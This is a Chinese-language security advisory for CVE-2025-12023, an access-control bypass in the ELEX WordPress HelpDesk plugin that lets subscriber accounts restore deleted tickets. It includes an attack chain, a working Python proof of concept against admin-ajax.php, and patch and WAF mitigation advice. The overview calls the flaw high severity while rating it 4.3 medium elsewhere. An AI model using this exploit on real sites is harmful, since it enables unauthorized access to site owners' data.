CVE-2025-12023 CVSS 4.3 中危

CVE-2025-12023 ELEX WordPress HelpDesk插件权限绕过漏洞

披露日期: 2025-11-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12023

漏洞类型

权限绕过/访问控制缺陷

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

ELEX WordPress HelpDesk & Customer Ticketing System插件

漏洞概述

CVE-2025-12023是WordPress插件ELEX WordPress HelpDesk & Customer Ticketing System中的一个高危安全漏洞。该漏洞存在于eh_crm_restore_data()函数中，由于缺少必要的权限检查，导致低权限认证用户可以执行本应仅限管理员操作的工单恢复功能。攻击者只需拥有WordPress订阅者(Subscriber)级别账户即可利用此漏洞，绕过访问控制机制恢复已删除的工单数据。此漏洞影响版本至3.3.1，CVSS评分4.3，属于中等严重程度。攻击向量为网络攻击，无需用户交互，复杂度低，完整性影响为低级别。

技术细节

该漏洞的根本原因是eh_crm_restore_data()函数在实现时未进行权限验证检查。在WordPress插件开发中，涉及敏感数据操作的函数通常需要使用current_user_can()或类似函数验证用户权限，但该函数缺少此关键步骤。攻击者可以利用WordPress的AJAX端点，通过构造特定的HTTP请求调用该函数。由于缺少PR:L（低权限）检查，任何已认证用户（包括Subscriber角色）都能发送请求执行工单恢复操作。攻击过程无需特殊技术手段，攻击者只需知道目标工单的ID即可尝试恢复。修复方案是在函数入口处添加current_user_can('manage_options')或相应权限检查，确保只有管理员才能执行恢复操作。

攻击链分析

STEP 1

步骤1

攻击者获取WordPress订阅者(Subscriber)级别账户

STEP 2

步骤2

攻击者构造针对wp-admin/admin-ajax.php的AJAX请求

STEP 3

步骤3

请求中包含action=eh_crm_restore_data和目标ticket_id参数

STEP 4

步骤4

由于函数缺少权限检查，服务器直接执行恢复操作

STEP 5

步骤5

已删除工单被恢复，攻击者获得未授权的数据访问

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import re

# Configuration
target_url = "https://vulnerable-site.com/"  # Replace with target WordPress site
username = "subscriber_user"  # Low-privilege user account
password = "user_password"

# Login to WordPress
session = requests.Session()
login_url = target_url + "wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In",
    "redirect_to": target_url + "wp-admin/",
    "testcookie": "1"
}
session.post(login_url, data=login_data)

# Exploit the vulnerability - Call eh_crm_restore_data via AJAX
exploit_url = target_url + "wp-admin/admin-ajax.php"
exploit_data = {
    "action": "eh_crm_restore_data",
    "ticket_id": "1"  # Target ticket ID to restore
}

response = session.post(exploit_url, data=exploit_data)
print(f"Response Status: {response.status_code}")
print(f"Response: {response.text}")

# Note: This PoC demonstrates unauthorized access to restore ticket functionality

影响范围

ELEX WordPress HelpDesk & Customer Ticketing System < 3.3.2

防御指南

临时缓解措施

如果无法立即升级，可暂时禁用工单恢复功能，或通过Web应用防火墙(WAF)规则限制对admin-ajax.php的敏感action参数访问，同时监控异常的用户活动日志。

参考链接

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